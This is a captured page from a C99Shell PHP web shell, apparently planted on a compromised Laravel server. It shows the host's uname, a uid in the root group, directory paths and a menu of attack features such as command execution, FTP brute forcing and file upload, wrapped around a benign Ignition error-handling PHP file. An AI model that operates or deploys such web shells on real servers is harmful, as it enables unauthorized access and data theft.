!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/facade/ignition/src/SolutionProviders/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InvalidRouteActionSolutionProvider.php (2.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Facade\Ignition\SolutionProviders;

use 
Facade\Ignition\Support\ComposerClassMap;
use 
Facade\Ignition\Support\StringComparator;
use 
Facade\IgnitionContracts\BaseSolution;
use 
Facade\IgnitionContracts\HasSolutionsForThrowable;
use 
Illuminate\Support\Str;
use 
Throwable;
use 
UnexpectedValueException;

class 
InvalidRouteActionSolutionProvider implements HasSolutionsForThrowable
{
    protected const 
REGEX '/\[([a-zA-Z\\\\]+)\]/m';

    public function 
canSolve(Throwable $throwable): bool
    
{
        if (! 
$throwable instanceof UnexpectedValueException) {
            return 
false;
        }

        if (! 
preg_match(self::REGEX$throwable->getMessage(), $matches)) {
            return 
false;
        }

        return 
Str::startsWith($throwable->getMessage(), 'Invalid route action: ');
    }

    public function 
getSolutions(Throwable $throwable): array
    {
        
preg_match(self::REGEX$throwable->getMessage(), $matches);

        
$invalidController $matches[1] ?? null;

        
$suggestedController $this->findRelatedController($invalidController);

        if (
$suggestedController === $invalidController) {
            return [
                
BaseSolution::create("`{$invalidController}` is not invokable.")
                    ->
setSolutionDescription("The controller class `{$invalidController}` is not invokable. Did you forget to add the `__invoke` method or is the controller's method missing in your routes file?"),
            ];
        }

        if (
$suggestedController) {
            return [
                
BaseSolution::create("`{$invalidController}` was not found.")
                    ->
setSolutionDescription("Controller class `{$invalidController}` for one of your routes was not found. Did you mean `{$suggestedController}`?"),
            ];
        }

        return [
            
BaseSolution::create("`{$invalidController}` was not found.")
                ->
setSolutionDescription("Controller class `{$invalidController}` for one of your routes was not found. Are you sure this controller exists and is imported correctly?"),
        ];
    }

    protected function 
findRelatedController(string $invalidController): ?string
    
{
        
$composerClassMap app(ComposerClassMap::class);

        
$controllers collect($composerClassMap->listClasses())
            ->
filter(function (string $_filestring $fqcn) {
                return 
Str::endsWith($fqcn'Controller');
            })
            ->
mapWithKeys(function (string $_filestring $fqcn) {
                return [
$fqcn => class_basename($fqcn)];
            })
            ->
toArray();

        
$basenameMatch StringComparator::findClosestMatch($controllers$invalidController4);

        
$controllers array_flip($controllers);

        
$fqcnMatch StringComparator::findClosestMatch($controllers$invalidController4);

        return 
$fqcnMatch ?? $basenameMatch;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--